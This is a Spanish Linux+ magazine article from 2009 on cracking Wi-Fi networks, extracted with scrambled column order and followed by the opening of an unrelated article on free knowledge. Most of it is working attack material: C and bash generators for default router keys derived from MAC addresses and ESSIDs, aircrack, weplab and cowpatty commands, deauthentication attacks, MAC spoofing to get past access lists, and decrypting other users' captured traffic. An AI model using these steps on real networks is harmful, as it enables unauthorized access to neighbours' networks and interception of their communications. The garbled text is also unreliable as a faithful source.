solo caracteres alfanuméricos, etc... no te olviXavvy
X000138
des de utilizar los parámetros -h o -t. Podrían
Comtrend
C0030DA
ahorrarte muchísimo tiempo.
Zygate
Z0002CF o
Por lo demás puedes seguir jugando con
C0030DA
los parámetros de cada una de las aplicaciones,
algunos de ellos te muestran la contraseña en De todos es sabido ya que los 3 primeros pares
formato ASCII (muy útil si deseas ver las supo- de una dirección MAC indica cual es el fabrisiciones que va haciendo aircrack(-ng) acerca cante del router o de una tarjeta inalámbrica.
de la clave) y otros te permiten variar ciertos Con esto ya podemos saber qué raíz de clave
corresponde a una MAC.
$ ./wlandecrypter <BSSID> <ESSID>
-> Salida por pantalla
$ ./wlandecrypter <BSSID> <ESSID>
[FICHERO] -> Crea diccionario
La primera forma es muy útil para utilizarla en
combinación con el programa Weplab [3], que
será el encargado de contrastar cada una de las posibles claves con un archivo de captura que deberá
contener al menos 4 paquetes en formato *.cap.
Este podría ser un ejemplo de ejecución:
$ wlandecrypter 00:60:B3:04:F1:ED
WLAN_AB | weplab --key 128 -y
--bssid 00:60:B3:04:F1:ED
captura_wlan.cap
El programa WepAttack [4] también sirve para
este propósito. Y podrías arrancarlo de este modo:
$ wlandecrypter 00:60:B3:04:F1:
ED WLAN_AB | wepattack -f captura_
wlan.cap
Puedes ver el código fuente creado por nilp0inter y modificado por mi en el Listado 1.
Tal como se presenta, el código es fácil de
comprender incluso para un programador novato.
En resumen, el proceso siempre es el mismo:
•
Listado 2. Script Rwlan
•
#!/bin/bash
INICIO=2009999900000
FIN=2001000000000
until ((INICIO==FIN))
•
•
ESSID: WLAN_AB
MAC: 00:60:B3:04:F1:ED
Sabemos que la MAC es de un router de la ma- La clave por defecto se obtiene en cuestión de
rca 'Z-com' y que la clave por defecto para esa segundos.
red será algo como:
Ataque a “R-WLANXX”
do
echo $INICIO >> $1
let INICIO=$INICIO-100000
done
echo 1000000000000 >> $1
Listado 3. Script DlinkWireless
#!/bin/bash
P1=`echo $1|cut -d : -f 1`
P2=`echo $1|cut -d : -f 2`
P3=`echo $1|cut -d : -f 3`
P4=`echo $1|cut -d : -f 4`
P5=`echo $1|cut -d : -f 5`
P6=`echo $1|cut -d : -f 6`
echo $P6$P1$P5$P2$P3$P4$P6$P5$P2$P
3$P4$P1$P3
72
•
Capturar cuatro paquetes con airodump
(-ng) en formato *.cap.
Generar el diccionario para la MAC y ESSID deseados con wlandecrypter.
Pasar este diccionario a Weplab o WepAttack.
Z001349XXXXAB
Para conseguir la contraseña completa, el problema se basa en aplicar la fuerza bruta para crear
un diccionario con todas las posibles claves
que vayan desde Z0013490000AB hasta Z00
1349FFFFAB.
Y nilp0inter, tan amablemente, se dispuso a crear un programa en C que hiciera
estas operaciones de una forma eficaz. Eso fue
halla por el 2006. Aquí tenéis una referencia
al programa [2] tal cual lo hizo su autor con
el cual me he comunicado y ha afirmado que
remitiría mis sugerencias a los actuales mantenedores del programa que el abandonó hace
ya un tiempo.
Yo me he permitido modificar el programa
en ciertos aspectos para hacerlo más eficiente.
El programa puede ejecutarse de dos maneras:
Linux+ 5/2009
Para este tipo de redes, presentes sólo en la
provincia de Galicia, basta con aplicar de forma
pura y dura la fuerza bruta. Sus claves por defecto suelen ser 6 dígitos decimales aleatorios
seguidos de 7 ceros que rellenan los 13 caracteres típicos de una contraseña de 128 bits.
En otros lugares se ha dicho que la clave se
compone de 8 dígitos cualesquiera seguido de 5
ceros hasta completar los 13. También hay quien
dice que los primeros 4 dígitos de la clave corresponden con el año de fabricación del router
o con el número del cliente asignado quedando
las claves con una estructura de este tipo:
2001XXXX00000
2002XXXX00000
####XXXX00000
2008XXXX00000
2009XXXX00000
hacking para linuxeros
Cracking Wifi al completo
No obstante, no es extremadamente costoso hacionario contra una captura, como siempre, Su uso es tal que así:
cer una lista con todas las posibles combinaciode al menos 4 paquetes.
nes y probar ésta contra un archivo de captura
$ decsagem [-i] <numeroSSID>
con 4 IV's, con un comando como este:
De la mano de 'ska1ix' se creó un programa, <clave>
llamado DecSagem [5], que cumple dos fun$ aircrack-ng -b BSSID -w lista_
ciones:
Donde <numeroSSID> son las cuatro cifras que
numeros.txt fichero.cap
acompañan en el ESSID al nombre 'ADSL'.
• Crea un diccionario con todas las posibles Y <clave> es la WEP key que obtendremos al
Si, por aquello de probar, quisieras crear un dicclaves.
pasar el diccionario resultante por aircrack(-ng)
cionario que abarcara desde el año 2001 hasta • Una vez obtenida la clave WEP puede uti- (que nos permitirá entrar en la red) y que nos da
el 2009 inclusive, podrías utilizar el sencillo
lizarse para obtener la passphrase si se le la posibilidad, opcionalmente, de conseguir el
script que se muestra en el Listado 2.
pasa la anterior como parámetro.
passphrase correspondiente.
El número de claves posibles se reduciría
Listado 4. Diccionario DlinkWireless
bastante, y el tiempo de crackeo lo haría en la
misma proporción.
Ataque a “ADSLXXXX”
La raíz del problema para las redes Wireless de
Orange viene dado por el motivo siguiente: Algunas redes WiFi utilizan palabras de paso o passphrases para generar claves WEP estáticas. El
administrador del router inserta en la pantalla de
instalación este passphrase y el software específico de éste configura automáticamente la clave
WEP apropiada por defecto. Esto simplifica el
proceso de instalación, porque las palabras de paso son más fáciles de recordar que la clave WEP
generada en si.
Hay situaciones en que este método no
puede ser utilizado:
•
•
No todo el hardware Wifi lo soporta.
Cuando en la red se mezclan equipos de
diferentes fabricantes.
Pero este no es el caso, y la empresa Orange utiliza este método para generar las claves por defecto para sus routers. La situación es la siguiente:
•
•
•
El ESSID de estas redes siempre tiene el
aspecto 'ADSLXXXX' donde las cuatro X
son siempre dígitos aleatorios.
La passphrase tiene el aspecto yyyyXXXX,
donde las X coinciden con las del ESSID
y las 'y' son siempre letras en minúscula.
El método para crear la clave WEP a partir
del passphrase es aplicarle al mismo el
algoritmo MD5. Lo que nos da la WEP en
hexadecimal.
Con esto es fácil crear un diccionario con todas
las posibles contraseñas para estas redes. Imaginate lo siguiente:
•
•
•
Tenemos una red llamada ADSL1234.
Las passphrases irán desde 'aaaa1234' hasta 'zzzz1234'.
A cada una le aplicamos MD5 y guardamos
el resultado en un fichero que hará de dic-
#include <stdio.h>
/* Por aquello de hacerlo mas intuitivo */
#define P1 0
#define P2 1
#define P3 2
#define P4 3
#define P5 4
#define P6 5
int main(int argc, char *argv[])
{
FILE *dic;
/* Archivo de salida */
int mac[6];
int n, var;
/* Direccion MAC
*/
/* Variables Utiles
*/
if (argc < 3) {
fprintf(stderr, "Usage: ./ddlink XX:XX:XX:XX:XX:XX
archivo_salida\n");
exit(0);
}
/* Leemos la MAC en el formato correcto*/
n = sscanf(argv[1], "%02x:%02x:%02x:%02x:%02x:%02x",
&mac[0], &mac[1],
&mac[2], &mac[3],
&mac[4], &mac[5]);
dic = fopen(argv[2], "w"); /* Abrimos archivo para escritura*/
/* Generamos todas las posibles claves */
for (var = 0; var < 256; var++) {
fprintf(dic, "%02x%02x%02x%02x%02x%02x%02x%02x
%02x%02x%02x%02x%02x\n",
mac[P6], mac[P1], mac[P5], mac[P2],
mac[P3], mac[P4], mac[P6], mac[P5],
mac[P2], mac[P3], mac[P4], mac[P1], var);
}
printf("\nEl diccionario ha sido creado correctamente\n");
printf("\nLa clave mas probable es: ");
printf("%02x%02x%02x%02x%02x%02x%02x%02x
%02x%02x%02x%02x%02x\n\n",
mac[P6], mac[P1], mac[P5], mac[P2],
mac[P3], mac[P4], mac[P6], mac[P5],
mac[P2], mac[P3], mac[P4], mac[P1], mac[P3]);
fclose(dic);
return 0;
/* BYE */
www.lpmagazine.org
73
hacking para linuxeros
Cracking Wifi al completo
observar normalmente el BSSID, que viene a ser
la MAC del AP (punto de acceso) y la MAC del
router que, normalmente, siempre coincide con
la del AP. Es por este motivo que creemos que
estamos viendo la misma dirección.
Puede darse la situación de que esto no sea
así, y esto es lo que ha ocurrido. En algunos casos las dos MAC's se diferencian en una unidad,
y entonces es la MAC del router la que tenemos
que tomar y no la otra.
De todos modos, probar dos claves no es mucho trabajo para una persona normal y corriente.
No obstante, yo he automatizado la tarea en lenguaje C. El programa toma como primer parámetro la dirección MAC del punto de acceso y como
segundo el nombre del diccionario que deseas
crear. Puedes echar un vistazo en el Listado 4.
A parte de generar el diccionario me permito
imprimir por pantalla la que posiblemente pueda
ser la clave correcta sin tener que hacer uso del
Ataque a “JAZZTEL_XX”
posición (recombinación) de los pares de los
Más adelante se descubrió que las redes cuyo bytes que forman la MAC del router. Es decir,
ESSID radicaba como en el título de esta sección, un cambio de posiciones:
seguían la misma lógica que las redes 'WLAN_
XX'. De hecho, en un principio, detrás de todas Llave maestra 6152346523413
estas wifi esta siempre un router de esta clase:
Algoritmo:
Marca→
Comtrend
Raiz MAC
→
00:1A:2B
Raiz Clave
→
E001D20
Y entonces llegó nilp0inter y creó otro programa
llamado jazzteldecrypter que venía a crear el diccionario con todas las claves posibles para esta
clase de redes. Programa que no escribiré aquí,
por la simple razón de que es una copia exacta del
wlandecrypter ya creado, al que se le ha añadido en la lista de routers la siguiente entrada:
•
Obtenemos la MAC del router:
00:1F:3C:16:A7:9F
1 →
00
2 →
1F
3 →
3C
4 →
16
5 →
A7
6 →
9F
Ataque a ONO (P123456789)
En cierta ocasión encontré una red de este tipo,
pero por desgracia no pude demostrar la veracidad de lo que aquí se va a contar.
La cuestión, según parece, es que a los de
ONO no se le ha ocurrido mejor idea que tomar
como contraseña por defecto para este tipo de
redes, el numero que se encuentra después de la
P de su ESSID restándole 1. Es decir:
•
•
Si la red se llama P623894175
La clave sería 623894174
strcpy(routers[i].bssid,
P6
"00:1A:2B\0");
--
strcpy(routers[i].init[0],
9F
En otro lugar se ha dicho que este último número
(el que tomamos como clave), debe ser pasado como parámetro a un programa llamado: Thomson
Aplicamos la llave maestra:
Pass-Phrase Generator. Se supone que es entonces
cuando realmente se genera la clave realmente váP1 P5 P2 P3 P4 P6 P5 P2 P3 P4 P1 P3 lida. Pero, de todos modos, hay quien ha compro-- -- -- -- -- -- -- -- -- -- -- -- bado que este paso no es necesario y que la simple
00 A7 1F 3C 16 9F A7 1F 3C 16 00 9F resta produce la clave adecuada.
•
Resultado final:
•
// Comtrend
"E001D20\0");
strcpy(routers[i].notas, "Comtrend\0");
Claro que a la constante MAXROUTER defi- 9F00A71F3C169FA71F3C16009F
nida al principio del código habría que sumarle
una unidad para que el programa funcionase Bien, llegados a este punto se hizo un sencillo
correctamente.
script (por parte de un tal pianista) que realizaba
los cambios de posiciones automáticamente. Vea
Ataque a “DLINKWIRELESS”
Listado 3.
Estas redes suelen encontrarse bastante a menuPero según parece no era oro todo lo que
do, y siguiendo con los colmos de las grandes relucía. En los foros se vieron comentarios de
ideas que tienen las empresas a la hora de prote- gente que afirmaba coincidir con esta solución,
ger a sus clientes, pues aquí tenemos otra más, con la única diferencia de que al último par hexay de las gordas.
decimal había que restarle una unidad. Esto meLas ultra-mega-secretas claves de aquellas rece una explicación. La realidad es, que cuando
wifi's que poseen este ESSID son una recom- realizamos una captura de paquetes, podemos
74
aircrack(-ng).
Linux+ 5/2009
Romper WPA
(no de momento pero...)
WPA no se puede romper (de momento). Y aunque haya empezado con una afirmación tan contundente, no desesperes. El asunto radica en que
no todas las redes protegidas con el algoritmo
WPA utilizan contraseñas realmente seguras ni,
lo que es peor todavía, aleatorias.
A partir de aquí perseguiremos una consigna:
Si puedes encontrar un patrón, puedes encontrar
una clave. Pero para poder testear claves contra
este tipo de cifrado, sí que hay algo que precisaremos obligatoriamente: El tan nombrado handshake. Este no es ni más ni menos que el proceso
de conexión de un cliente con el punto de acceso
hacking para linuxeros
Cracking Wifi al completo
que contiene información primordial sobre la
clave. Para capturar un paquete de este tipo nada
más que debemos esperar con airodump(-ng)
a que un cliente autorizado se asocie correctamente al router. Pero la gente a veces no tiene paciencia y entonces echan mano de aireplay(-ng).
¿Cómo? Pues ejecutando un ataque de
desautentificación.
Capturamos paquetes:
arbitrario o denegación de servicio en X programa, modulo Y. ¡Pero no! Asombrosamente:
TKIP y WPA heridos de muerte.
Un ataque basado en la misma técnica que
volvió obsoleto al WEP (ataque conocido como
chopchop) ha permitido que se pueda descifrar un paquete de tipo ARP en menos de 15
minutos, independientemente de la contraseña
usada para proteger el WPA.
Como bien sabemos, WPA puede utilizar
$ airodump-ng --bssid 00:01:02:03:04:
por el momento dos tipos de cifrado que son
05 -c 11 -w psk ath1
TKIP o AES, pero por suerte para aquellos que
se autodenominan auditores de redes wireless,
Realizamos el ataque en concreto:
suele ser el primero el que se encuentra presente en la fiesta la mayoría de las ocasiones.
$ aireplay-ng -0 5 -a 00:01:02:03:04:
De momento, y para los que se hayan
05 -c 11:22:33:44:55:66 wifi0
emocionado, decir que todavía no es posible
obtener la clave de la red directamente como
Dejamos corriendo el airodump para capturar pa- se hacia con WEP. Las posibilidades a día de
quetes de ese punto de acceso, cuando un cliente hoy son la de inyectar paquetes para provocar
reconecte, arriba a la derecha veremos la frase:
una denegación de servicio o incluso redirigir el
tráfico (que no es poco a decir verdad).
- 'Handshake 00:01:02:03:04:05'
Ataque a TELE2
El truco está en repetir el ataque 2 de forma inter- Todo fue como una especie de proyecto para
mitente, para dar tiempo a reconectar al cliente. recolectar contraseñas por defecto de esta clase
de routers. El objetivo era, como siempre, sacar
TKIP
el patrón que las generaba.
Bueno, no me detendré a contaros toda la histoLuego empezaron a aparecer suposiciones:
ria, dado que aquí [6] la comprenderéis sin duda
al detalle. De esto me enteré por primera vez, • Los unos dijeron que sus contraseñas emtranquilo en mi trabajo, cuando suena la campapezaban por la cadena IX1V seguido de
nilla de mi gestor de correo avisándome de que
7 dígitos cualesquiera.
un mensaje nuevo espera calentito en la bandeja • IX1V7, con este último dígito constante,
de entrada. Directamente veo que se ha filtrado
y otros 6 cualesquiera.
hacia la carpeta Hispasec donde almaceno todas • Y los últimos dijeron que sus contraseñas
los noticias sobre las últimas en seguridad inforempezaban por la raíz IX1VP.
mática que recibo de Una-al-dia.
Quizás una nueva actualización de los Sea como fuere, más adelante se descubrió que
productos de Bill, tal vez nuevos paquetes dis- los del segundo grupo habían adquirido el router,
ponibles para SuSE, o una ejecución de código absolutamente todos ellos, durante el año 2007.
A partir de aquí se decidió que, como siempre, lo principal era crear un diccionario con
todas las posibilidades. Como se puede deducir
los que empiezan por la raíz IX1V7 tardan una
décima parte en crearse que los que empiezan
por IX1V (aunque este último abarca todas las
posibilidades, siempre que lo que siga sean dígitos y no otros caracteres).
Para crear tal diccionario algunos se decidieron por hacer uso de la siguiente herramienta. Podéis descargarla desde la siguiente referencia [7].
Su uso viene como sigue:
$ perl wg.pl -a IX1V -v 0123456789
-l 7 -u 7 >> dic_tele2.txt
o para los del año 2007:
$ perl wg.pl -a IX1V7 -v 0123456789
-l 6 -u 6 >> dic_tele2_07.txt
Como es habitual, este diccionario puede ser
utilizado directamente con la opción -w de aircrack; pero este proceso es muy lento, apenas
prueba unos cientos de claves por segundo.
Pero entonces apareció el programa Cowpatty acompañado de la utilidad genpmk.
Esta última se encarga de pasar el listado
de claves posibles que generamos en el paso
anterior a un formato que pueda entender su
amigo Cowpatty con las primary master key ya
precalculadas. Se ejecuta más o menos así:
$ genpmk -f dic_tele2.txt
-d tele2.dic -s Tele2
Lo mejor de todo es que a medida que vas
generando el nuevo diccionario precalculado,
lo puedes ir testeando contra un archivo de
capturas que al menos contenga un handshake.
Aquí el comando:
$ cowpatty -r captura.cap
-d tele2.dic -s Tele2
Probará tantas claves como las que hayan sido
generadas hasta el momento, en caso de tenerlas todas, claro está, pues probará el diccionario
entero. ¿A qué velocidad? Yo llegué a rondar
las 150.000 claves por segundo. Ahí es nada.
Mi prueba personal, que cuando genpmk ya
había generado desde la clave IXV0000000 hasta
la IXV3497381 lo probé contra el archivo de capturas y me dijo que ninguna de ellas coincidía.
Como el proceso de generación del diccionario lleva unas cuantas horas aun sobre un Core 2 Duo... pues decidí detener genpmk y crear
tan sólo el diccionario de las claves cuya raíz
tenían IX1V7 (los creados en el 2007).
Figura 4. Escritorio y Logo de la distribución WifiSlax
www.lpmagazine.org
75
hacking para linuxeros
Cracking Wifi al completo
Cuando lo hube generado por completo
lo probé de nuevo mediante Cowpatty y por
desgracia obtuve la misma respuesta, NADA..
Pero no había que desesperar, estamos en el año
2009, es decir, que muchos de los routers que
se encuentran hoy activos han sido adquiridos
en el 2008. Siguiendo esta filosofía pensé que
quizás la raíz de sus claves comenzarían por
IX1V8.
Y no esperé más, creé el diccionario correspondiente para estas combinaciones de claves.
En conjunto hice lo siguiente:
$ perl wg.pl -a IX1V8 -v 0123456789
-l 6 -u 6 >> dic_tele2_08.txt
$ ./genpmk -f dic_tele2_08.txt
-d tele2_08.dic -s Tele2
$ ./cowpatty -r captura.cap
-d tele2_08.dic -s Tele2
Y obtuve mi premio:
The PSK is: [ IX1V8748132 ]
Ataque a SPEEDTOUCH
En este caso no existe un patrón concreto, pero si una norma; y es que la clave se genera a
partir del numero de serie que posea el punto de
acceso. Ahora nos explicamos. Imagínese usted
que el número de serie de su punto de acceso
es el siguiente:
CP0723JT385(34)
Bien, ahora separaremos los diferentes campos:
CP
Siempre igual
CP
WW
Semana del año
23
PP
Código de producción
JT
XXX
3 dígitos aleatorios
CC
Código de configuración
(*)
34
385
•
Se aplica el algoritmo SHA-1 a lo que te- menos comentaron quienes tuvieron la genial
níamos:
idea de hacer caso a esta gente).
742da831d2b657fa53d347301ec610e1eb
Los vídeos no están falsificados. Si yo tengo
f8a3d0
un punto de acceso de la marca LiveBox y sé su
contraseña por defecto, me hago un diccionario
Resultados:
enorme con códigos aleatorios, entremedias
introduzco mi clave correcta, y si lo pruebo
• Los 3 últimos bytes (6 caracteres en AS- contra un archivo de capturas está claro que en
CII) se añaden a la palabra SpeedTouch algún momento le tocará el turno a la nuestra y
para formar el ESSID correspondiente al aircrack(-ng) nos dirá que hemos acertado de
punto de acceso.
pleno.
Siento la decepción, pero hasta el momento,
“SpeedTouchF8A3D0”
• Los 5 primeros bytes (10 caracteres en AS- y a la espera de estudios más profundos, estas reCII) conforman la clave por defecto para des se encuentran cerradas a nuestros encantos.
nuestra red.
“742DA831D2”
Hasta aquí todo correcto. Si obtenemos un número de serie, podemos calcular su contraseña.
Pero esta situación es rara a menos que estemos
analizando nuestra propia red o la de algún vecino que nos haya dado permiso.
La pregunta es sencilla: ¿Qué hace un
hacker/cracker cuando quiere averiguar algo
que se encuentra dentro de un rango de posibilidades?
Muy cierto, utilizan la FUERZA BRUTA.
El objetivo es crear todos los números de
serie posibles para un año en concreto sin los
campos 'CC' Y 'PP' y, después de pasarlo por el
algoritmo de cifrado SHA-1, se comparan los 3
últimos bytes con la terminación de la ESSID
(nombre de la red) que deseamos romper. Caso
de coincidir, significa que los primeros 5 bytes
se corresponden con la clave por defecto para la
red SpeedTouch.
Por suerte, alguien ya ha hecho este trabajo
por nosotros, y el resultado lo podemos encontrar aquí y el código fuente para su estudio en
este otro lugar.
En realidad es un ataque por fuerza bruta
que en principio no dura demasiado tiempo (muy
poco en realidad) y, según su autor, se puede optimizar si utilizamos las funciones criptográficas
proporcionadas por OpenSSL para el uso de
SHA-1. Como único parámetro se pide el ESSID
de la red SpeedTouch que queremos crackear.
(*) Decimos que 'XXX' son números aleatorios,
pero esto es para nuestros propósitos; pues en
realidad podría representar el número de unidad ¿Qué pasa con LIVE-BOX?
del punto de acceso.
Pues de momento, y sintiéndolo mucho, no
Para obtener la clave se sigue ahora este pasa nada. El caso es que unos franceses colproceso:
garon en Youtube [8] unos cuantos videos que
mostraban como romper estas claves utilizando
• Se eliminan los campos 'CC' Y 'PP', nos un diccionario del mismo modo que se había
queda:
hecho para las redes Tele2.
CP0723385
Claro, la cuestión es que sólo ellos poseían
• Los 3 últimos dígitos (XXX) se pasan a he- tal diccionario y lo vendían a saber qué precio
xadecimal:
en una página que aquí no mostraré por cues CP0723333835
tiones éticas (que era un timo vamos, o eso al
76
Linux+ 5/2009
Evadir ESSID ocultos
Multitud de veces nos encontramos con redes
cuyo ESSID aparece como oculto y nos impide
realizar la conexión a esa red aun disponiendo
de la clave adecuada a la misma.
Hoy por hoy esto no será un impedimento
para nosotros. El estandar 802.11, sólo obliga a
cifrar los paquetes que contienen datos, aquellos otros de control podrían viajar en texto
plano.
¿Qué paquetes de control? Pues la mayoría
de las redes emiten tramas en broadcast donde
se puede leer el ESSID tranquilamente. Hay
quien se encarga de deshabilitar esta característica en sus puntos de acceso; pero tenemos más
salidas, ya que nadie puede impedir que leamos
los paquetes de asociación o reasociación de los
clientes contra la red. En estas tramas el nombre
del AP también viaja sin cifrar.
Una de dos: Podemos esperar pasivamente
a que un cliente legítimo se conecte a la red.
O si somos un poco mas impacientes provocar
una reasociación con aireplay en un ataque de
des-autenticación.
En realidad no tienes más que poner tu
sniffer preferido a escuchar (aquí Wireshark
puede ser tu mejor compañía) y saber leer en
el lugar adecuado. Una vez que te acostumbras
a leer las cabeceras de todos los protócolos,
tus ojos sabrán de forma exacta donde deben
mirar.
Suplantación de MAC
Has descubierto la contraseña de una red
protegida con el algoritmo WPA y te dispones
a asociarte a la red; pero tu conexión no llega
a establecerse e incluso desde tu MacBook recibes un mensaje más específico indicando que
la red posee una lista de control de acceso por
MAC en la que tu dirección no se encuentra.
En resumen, no puedes entrar porque no estas
autorizado.
Eso ya no es problema a estas alturas: ¿Qué
tal se te da hacerte pasar por otra persona?
hacking para linuxeros
Cracking Wifi al completo
A día de hoy la dirección MAC de nuestra interfaz de red se puede establecer a través
de software. Esta es la ventaja que aprovecharemos para hacerle creer a nuestro Sistema Operativo que la MAC de nuestra tarjeta
es la de un usuario que si este realmente
autorizado.
Deberías tener la MAC de este cliente
autorizado puesto que si has conseguido una
contraseña WPA, habrás estado esperando por
un paquete de autentificación y por tanto hay
un cliente activo.
En caso contrario no tienes más que arrancar el airodump(-ng) filtrando por el canal de
la red que deseas y el parámetro --bssid.
Cuando veas que un cliente mueve tráfico en
esa red, apunta su dirección MAC en un papel
o en un archivo de texto.
Suplantación
en Linux / MAC OS X
Muy sencillo, o utilizas un programa destinado a tal fin que hayas encontrado en la
red, o ejecutas directamente el siguiente
comando:
$ sudo ifconfig interfaz hw ether
XX:XX:XX:XX:XX:XX
Si tienes una tarjeta con chip atheros y la dirección que has apuntado en el papel es: 00:B3:
A9:CA:5F:11. El comando sería:
$ sudo ifconfig ath0 hw ether 00:
B3:A9:CA:5F:11
En Mac podrías necesitar eliminar el parámetro
hw para que funcione correctamente.
Suplantación en Windows
nombre de la interfaz a que se refiere. Busca Para descifrar una captura WPA/WPA2:
entonces cual de ellas se refiere a tu tarjeta
de red inalámbrica. Cuando la hallas:
airdecap-ng -e 'the ssid' -p
passphrase
Clave “NetworkAddress”
Valor “XXXXXXXXXXXX” Dirección MAC
en hexadecimal sin puntos.
Existe una función que se encarga de leer
esta dirección, su nombre es NdisReadNetworkAddress. Para que tus cambios surjan
efecto no tienes más que reiniciar el PC o, más
fácil todavía, deshabilitar y volver a habilitar tu
adaptador de red (interfaz).
Espionaje offline:
O cómo usar airdecap(-ng)
Bien, muchas veces no despejamos nuestra
mente y no pensamos con suficiente claridad. Acabamos de entrar en una red, y lo primero que se nos ocurre es que para encontrar más información interna quizás lo mejor
sea utilizar un ataque Man in The Middle,
pero esto, visto de forma fría, es ser corto
de miras.
¿Por qué? Como siempre, la respuesta
es fácil. El objetivo de un ataque MITM es
obtener un tráfico que en principio no iba dirigido a nosotros. ¿No es esto lo que ocurre
cuando con airodump(-ng) capturamos los
paquetes que están moviendo los clientes de
esa misma red? La respuesta es afirmativa,
claro está, y además, tenemos una clave
que puede descifrar esos paquetes para que
nuestro amigo Wireshark no diga que lo que
le mandamos abrir es una parafernalia sin
sentido alguno.
Entonces, junto a la suite aircrack, vino
a salvarnos la vida un compañero llamado
airdecap(-ng) que hace el trabajo sucio por
nosotros. Aquí su uso:
Utiliza un programa como Smac [9] que hará
todo el trabajo sucio por ti, o editas directamente el Registro de Windows.
airdecap-ng [opciones] <archivo cap>
Clave para WinXP:
Opcion Param. Descripcion
-l
HKEY_LOCAL_MACHINE\SYSTEM\
CurrentControlSet\Control\Class\
{4D36E972-E325-11CE-BFC108002bE10318}
Clave para Win 95/98:
HKEY_LOCAL_MACHINE\SYSTEM\
CurrentControlSet\Services\ClassNet
no
elimina la cabecera
de 802.11
-b
bssid
tkip.cap
Y por lo demás no tiene más ciencia, el
resultado se guardará en un archivo decap
y podremos abrirlo con nuestro analizador
de tráfico preferido, filtrando si así lo deseamos por el protocolo que más nos interese.
Y aquí ya veo a muchos decidiendo por HTTP
y MSMSN.
ERW
Es un software desarrollado para el Sistema
Opertivo Windows que enlaza una variedad
de herramientas increíbles para la auditoría
de redes inalámbricas. Su nombre completo
es Estudio de redes Wireless; pero para qué
nos vamos a engañar, como subtítulo podría
llevar rompe todo lo que puedas y más....
Su autor, Eleaquin, ha invertido una buena
parte de su tiempo en recopilar todas estas utilidades y crear una interfaz que haga de su uso
la mayor comodidad para el usuario de a pie.
Podéis obtenerlo aquí [10].
Algunas de las características que nos podemos encontrar:
•
•
•
•
•
•
•
•
•
•
•
•
•
•
•
Configuración en modo monitor de la tarjeta inalámbrica.
Suite Aircrack.
Wlan Ripper (Wlan).
Wlan Buster.
DecSagem (ADSL).
Dlink Wireless.
Stkeys (SpeedTouch).
Wintele2.
AutoMagica.
Ethereal (sniffer de trafico).
NetStumbler, detector de redes y nivel de
señal.
Wireless Key View.
Net Set Man.
Etherchange.
Conversor HEX/ASCII y viceversa.
direccion MAC del
punto de acceso
-k
pmk
WPA/WPA2 Pairwise
Master Key en hexadecimal
-e
essid
Nombre de la red
-p
pass
Clave WPA/WPA2
-w
key
Clave WEP en
hexadecimal
Dentro de cualquiera de estos lugares de- Para descifrar una captura WEP:
berías encontrar otras claves. La mayoría
de ellas contienen a su vez otra clave en su airdecap-ng -w 11A3E229084349BC25D97E
interior llamada DriverDesc que contiene el 2939 wep.cap
www.lpmagazine.org
Figura 5. Ventana de
77
hacking para linuxeros
Cracking Wifi al completo
Referencias
•
•
•
•
•
•
Figura 6. Protocolos de seguridad en redes inalámbricas
•
•
Card Check (consulta la compatibilidad de
nuestro chip).
Utilidades como: CPU Administrator, Tracer, Whois, Calculate, Backup, Files, Atw
(administrador de tareas), Yaps, Hexwrite,
Notepad...
WIFISLAX
•
•
A partir de aquí, y con todas estas ventajas por
delante (fíjense que puede portarse en un USB si
así lo desean). Descárgalo desde el sitio oficial [11].
Vamos allá con todas las novedades:
78
•
•
Bueno, en principio podríamos definirlo en tan •
solo dos conceptos:
•
•
•
•
Sobre el autor
•
David Puente Castro, alias blackngel, es
un gran aficionado a la programación y la
seguridad informática. Original de Ourense y viviendo actualmente en la provincia
de Salamanca, dedica la mayor parte de
su tiempo libre a disfrutar de la experiencia Linux.
Asiduo escritor de artículos básicos
sobre temas de seguridad informática en
el E-Zine electrónico S.E.T. (Saqueadores Edición Técnica), actualmente mantiene su página oficial en: http://www.setezine.org.
Su primer encuentro con Linux data
ya de hace unos 8 años y fue poco más
adelante que descubrió el fantástico mundo de la programación y la subcultura hacker. Participa activamente en wargames
como: Yoire, Warzone, Yashira y otros.
Puede encontrarlo online prácticamente las 24 horas del día, en las siguientes direcciones: [email protected]
y [email protected]
WifiSlax es Linux.
WifiSlax es un Live-CD.
•
•
•
•
•
•
•
•
•
Basado en Slackware.
Posee versión reducida.
Suite tradicional aircrack-sp.
•
Suite actual aircrack-ng.
Dlinkdecrypter.
Airoscript (todo lo que necesites esta aquí
•
dentro).
Airoscript para ipw2200.
Lanzador Kismet.
•
Macchanger.
Wlandecrypter.
•
Configuración Wireless.
Apoyo a varios chipset.
Cowpatty.
DHCP.
• Soporta PCMIA (chipsets Orinoco
Configuración manual.
o Prism2)
MAC OS X
Alguno estará diciendo: ¿Y qué ocurre con mi
MacBook o mi nuevo MacBook Pro?
Mi mejor recomendación para estos casos, por experiencia al poseer uno, y aunque
lo tengo particionado junto con Linux, es que
utilicéis KisMAC(-ng) [12]. Es fácil de deducir,
la versión de Kismet para Macintosh.
Algunos detalles de la preciada herramienta:
•
•
[1] Protocolos de seguridad en redes
inalámbricas:
http://www.saulo.net/pub/inv/
SegWiFi-art.htm
[2] Wlandecrypter 0.5 – Revisado :
http://www.telefonica.net/
web2/amstrad/wlande
crypter-0.5.tar.gz
[3] WepLab:
http://weplab.sourceforge.net/
[4] WepAttack:
http://sourceforge.net/projects/
wepattack/
[5] DecSagem:
http://galeon.com/decsagem/
DecSag.rar
[6] TKIP usado en WPA, herido
de muerte:
http://portalhispano.wordpress.com/
2008/11/11/tkip-usado-en-wpa-
parece-estar-herido-de-muerte/
[7] Word Generator by Matteo Redaelli [email protected]:
http://digilander.libero.it/reda/
downloads/perl/wg.p/
[8] Crack wpa Livebox avec
crack-wpa.fr:
http://es.youtube.com/
watch?v=FZdm73IO5hQ
[9] Smac 2.0:
http://www.klcconsulting.net/
smac/
[10] ERW 2.4 – Final:
http://rapidshare.com/files/
132415341/ERW2.4_final.rar
[11] WifiSlax:
http://www.wifislax.com/
[12] KisMAC:
http://kismac.macpirate.ch
Es software libre
Soporta tarjetas AirPort
Linux+ 5/2009
Según parece todavía no soporta reinyección de
tráfico, pero es muy válida para crackear redes
de tipo wlan.
Conclusión
Lo que aquí has encontrado no es ni tecnología punta, ni tan siquiera información
clasificada. No perseguíamos eso, simplemente deseábamos abrirte un amplio abánico
de posibilidades para que puedas auditar la
mayoría de las redes inalámbricas que estén
a tu alcance.
conocimiento libre
Liberando Ideas
Más allá del
Conocimiento Libre:
Liberando y Compartiendo Ideas
José Carlos Cortizo Pérez
[email protected]
Por lo general hablamos de liberar código, en referencia al Software Libre,
o liberar trabajos y/o contenidos, en referencia al amplísimo campo del
Conocimiento Libre. Sin embargo, existen movimientos que tratan de ir
